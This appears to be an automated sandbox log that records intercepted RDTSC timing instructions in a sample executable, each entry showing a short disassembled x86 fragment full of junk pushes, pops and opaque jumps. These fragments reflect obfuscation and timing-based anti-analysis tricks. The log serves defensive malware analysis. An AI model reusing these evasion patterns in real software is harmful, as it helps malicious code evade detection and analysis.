Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A05DD second address: 9A0605 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F942050A396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F942050A3A5h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0605 second address: 9A0642 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ch, 61h 0x0000000b push 00000000h 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F9420DD1F38h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 mov di, si 0x0000002a call 00007F9420DD1F39h 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0642 second address: 9A0647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0647 second address: 9A070A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9420DD1F3Fh 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jo 00007F9420DD1F4Fh 0x00000019 jmp 00007F9420DD1F49h 0x0000001e mov eax, dword ptr [eax] 0x00000020 jmp 00007F9420DD1F46h 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 pushad 0x0000002a push ecx 0x0000002b jng 00007F9420DD1F36h 0x00000031 pop ecx 0x00000032 jnl 00007F9420DD1F3Ch 0x00000038 popad 0x00000039 pop eax 0x0000003a mov edx, ecx 0x0000003c mov edx, dword ptr [ebp+122D3B42h] 0x00000042 push 00000003h 0x00000044 sub ch, FFFFFFE7h 0x00000047 push 00000000h 0x00000049 push 00000000h 0x0000004b push edx 0x0000004c call 00007F9420DD1F38h 0x00000051 pop edx 0x00000052 mov dword ptr [esp+04h], edx 0x00000056 add dword ptr [esp+04h], 0000001Dh 0x0000005e inc edx 0x0000005f push edx 0x00000060 ret 0x00000061 pop edx 0x00000062 ret 0x00000063 mov dx, bx 0x00000066 push 00000003h 0x00000068 mov dword ptr [ebp+122D23D2h], ebx 0x0000006e push 8B961E79h 0x00000073 push eax 0x00000074 push edx 0x00000075 push ebx 0x00000076 push ecx 0x00000077 pop ecx 0x00000078 pop ebx 0x00000079 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A070A second address: 9A0757 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3469E187h 0x00000010 jmp 00007F942050A3A3h 0x00000015 mov dword ptr [ebp+122D1878h], edi 0x0000001b lea ebx, dword ptr [ebp+1244E3FBh] 0x00000021 or edi, dword ptr [ebp+122D3942h] 0x00000027 xchg eax, ebx 0x00000028 push eax 0x00000029 push edx 0x0000002a push edx 0x0000002b jp 00007F942050A396h 0x00000031 pop edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0757 second address: 9A076F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F9420DD1F36h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F9420DD1F36h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A07BF second address: 9A07C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A07C3 second address: 9A07E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9420DD1F42h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A07E5 second address: 9A083C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F942050A398h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 jo 00007F942050A399h 0x0000002a mov cx, ax 0x0000002d mov dword ptr [ebp+122D28EAh], edi 0x00000033 push 00000000h 0x00000035 jmp 00007F942050A39Dh 0x0000003a push 985EEBD7h 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 pop eax 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A083C second address: 9A0842 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A0842 second address: 9A08D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 67A114A9h 0x00000010 or dword ptr [ebp+122D23B1h], ecx 0x00000016 mov esi, ebx 0x00000018 push 00000003h 0x0000001a and edi, dword ptr [ebp+122D3B0Eh] 0x00000020 movsx ecx, si 0x00000023 push 00000000h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007F942050A398h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 0000001Ah 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov edi, dword ptr [ebp+122D3902h] 0x00000045 push 00000003h 0x00000047 push 00000000h 0x00000049 push ecx 0x0000004a call 00007F942050A398h 0x0000004f pop ecx 0x00000050 mov dword ptr [esp+04h], ecx 0x00000054 add dword ptr [esp+04h], 0000001Ah 0x0000005c inc ecx 0x0000005d push ecx 0x0000005e ret 0x0000005f pop ecx 0x00000060 ret 0x00000061 push C1BADBFBh 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F942050A39Ch 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3614 second address: 9B3621 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9420DD1F36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 997B56 second address: 997B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jnc 00007F942050A398h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 jns 00007F942050A396h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C03CF second address: 9C03E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9420DD1F3Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C03E6 second address: 9C0409 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F942050A396h 0x00000009 jmp 00007F942050A3A1h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jo 00007F942050A396h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C06C0 second address: 9C06C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0844 second address: 9C0848 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0848 second address: 9C0863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C09BA second address: 9C09BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C0F0E second address: 9C0F28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F46h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1085 second address: 9C108B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B868B second address: 9B868F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B868F second address: 9B86A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F942050A39Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1B74 second address: 9C1BAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F40h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push ecx 0x0000000d push ebx 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F9420DD1F42h 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 jc 00007F9420DD1F36h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C1BAC second address: 9C1BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C22C0 second address: 9C22C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C22C4 second address: 9C22C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C89EF second address: 9C89F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8E61 second address: 9C8E69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9006 second address: 9C902B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9420DD1F36h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push ebx 0x0000000e jno 00007F9420DD1F3Ch 0x00000014 pop ebx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push esi 0x0000001d pop esi 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C902B second address: 9C9031 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C9031 second address: 9C9051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007F9420DD1F3Eh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C92D4 second address: 9C92E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F942050A396h 0x0000000a popad 0x0000000b pop ecx 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE153 second address: 9CE183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9420DD1F44h 0x0000000e pop ebx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE183 second address: 9CE187 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CE187 second address: 9CE18D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD5D6 second address: 9CD5E2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F942050A396h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD5E2 second address: 9CD5FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9420DD1F43h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD8E1 second address: 9CD8F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F942050A396h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD8F0 second address: 9CD90B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F47h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDA3D second address: 9CDA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F942050A396h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDA49 second address: 9CDA52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDA52 second address: 9CDA66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F942050A39Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CDE7C second address: 9CDE82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D16C5 second address: 9D16CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D16CC second address: 9D171F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b je 00007F9420DD1F42h 0x00000011 jc 00007F9420DD1F3Ch 0x00000017 jc 00007F9420DD1F36h 0x0000001d pop eax 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007F9420DD1F38h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 00000016h 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 mov dword ptr [ebp+1244A9FCh], edx 0x0000003e call 00007F9420DD1F39h 0x00000043 pushad 0x00000044 push esi 0x00000045 push esi 0x00000046 pop esi 0x00000047 pop esi 0x00000048 pushad 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D171F second address: 9D175F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 jbe 00007F942050A3A0h 0x0000000f pushad 0x00000010 jng 00007F942050A396h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push ebx 0x0000001e jnl 00007F942050A398h 0x00000024 pop ebx 0x00000025 mov eax, dword ptr [eax] 0x00000027 pushad 0x00000028 jmp 00007F942050A3A3h 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1B4C second address: 9D1B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9420DD1F36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1B56 second address: 9D1B5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1CA9 second address: 9D1CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1D7D second address: 9D1D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F942050A3A0h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1D99 second address: 9D1D9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D24E8 second address: 9D24EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D24EC second address: 9D24F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D24F2 second address: 9D24F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2797 second address: 9D279B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2851 second address: 9D2856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2856 second address: 9D285B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D285B second address: 9D287A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F942050A3A4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D2E1A second address: 9D2E20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D392D second address: 9D3937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F942050A396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3799 second address: 9D379D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D3937 second address: 9D393B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D379D second address: 9D37A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D393B second address: 9D399E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jno 00007F942050A396h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 jmp 00007F942050A3A7h 0x00000019 pop edi 0x0000001a push 00000000h 0x0000001c xchg eax, ebx 0x0000001d pushad 0x0000001e jo 00007F942050A398h 0x00000024 pushad 0x00000025 popad 0x00000026 pushad 0x00000027 push eax 0x00000028 pop eax 0x00000029 push eax 0x0000002a pop eax 0x0000002b popad 0x0000002c popad 0x0000002d push eax 0x0000002e pushad 0x0000002f jl 00007F942050A39Ch 0x00000035 jne 00007F942050A396h 0x0000003b pushad 0x0000003c jmp 00007F942050A3A3h 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D37A3 second address: 9D37A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D37A9 second address: 9D37AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D37AD second address: 9D37D5 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9420DD1F36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F9420DD1F49h 0x00000015 jmp 00007F9420DD1F43h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D37D5 second address: 9D37DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F942050A396h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D41C2 second address: 9D41C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D54D3 second address: 9D54D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5E86 second address: 9D5E8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5E8A second address: 9D5EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F942050A3A1h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop edx 0x00000012 pushad 0x00000013 js 00007F942050A396h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D5EB1 second address: 9D5EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov esi, dword ptr [ebp+122D18C0h] 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F9420DD1F38h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000014h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b xor dword ptr [ebp+122D23B1h], eax 0x00000031 xchg eax, ebx 0x00000032 push esi 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6A5B second address: 9D6AD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F942050A396h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F942050A398h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 mov edi, ebx 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007F942050A398h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 mov esi, dword ptr [ebp+122D3B5Ah] 0x0000004d push 00000000h 0x0000004f jmp 00007F942050A3A4h 0x00000054 push eax 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D6AD0 second address: 9D6AD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
